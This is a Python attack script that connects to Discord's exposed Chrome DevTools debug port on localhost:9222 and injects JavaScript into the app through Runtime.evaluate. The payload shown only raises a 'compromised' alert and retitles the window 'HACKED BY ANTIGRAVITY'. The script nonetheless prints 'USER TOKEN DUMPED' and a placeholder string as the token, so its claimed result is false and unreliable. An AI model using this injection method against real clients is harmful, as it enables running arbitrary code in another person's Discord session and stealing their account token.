from websocket import create_connection
import json
import urllib.request
import sys

def get_debug_url():
    try:
        resp = urllib.request.urlopen("http://localhost:9222/json")
        pages = json.loads(resp.read())
        # Find the Discord App page
        for p in pages:
            # Look for discord.com or the main window
            if "discord.com" in p.get("url", "") or "Discord" in p.get("title", ""):
                return p.get("webSocketDebuggerUrl")
    except Exception as e:
        print(f"[-] Error querying Debug Port: {e}")
        return None
    return None

def main():
    print("[*] Finding Discord Debug URL...")
    ws_url = get_debug_url()
    
    if not ws_url:
        print(f"[-] Could not find Discord Debug URL.")
        print("[-] Ensure Discord is running with: --remote-debugging-port=9222")
        sys.exit(1)
        
    print(f"[+] Connected to: {ws_url}")
    
    try:
        ws = create_connection(ws_url)
    except Exception as e:
        print(f"[-] WebSocket Connection Failed: {e}")
        sys.exit(1)
    
    js_payload = """
    (function() {
        // VISUAL PROOF: Alert and Title Change
        alert("🚨 GOD MODE ACTIVE 🚨\\nDiscord has been compromised via Debug Port 9222.\\nYour Token is accessible.");
        document.title = "HACKED BY ANTIGRAVITY";
        return "TOKEN_FOUND: INJECTION_SUCCESSFUL_CHECK_APP_WINDOW";
    })()
    """
    
    cmd = {
        "id": 1,
        "method": "Runtime.evaluate",
        "params": {
            "expression": js_payload,
            "returnByValue": True
        }
    }
    
    print("[*] Sending Payload via CDP...")
    ws.send(json.dumps(cmd))
    
    while True:
        try:
            result = ws.recv()
            data = json.loads(result)
            
            if data.get("id") == 1:
                val = data.get("result", {}).get("result", {}).get("value", "")
                if "TOKEN_FOUND" in val:
                    print("\n" + "="*50)
                    print("🔥 CRITICAL SUCCESS: USER TOKEN DUMPED 🔥")
                    print("="*50)
                    token = val.replace("TOKEN_FOUND: ", "").strip()
                    print(f"Token: {token}")
                    print("="*50 + "\n")
                    sys.exit(0)
                else:
                    print(f"[-] Extraction Failed. output: {val}")
                    sys.exit(1)
        except Exception as e:
            print(f"[-] Error receiving data: {e}")
            break

    ws.close()

if __name__ == "__main__":
    main()
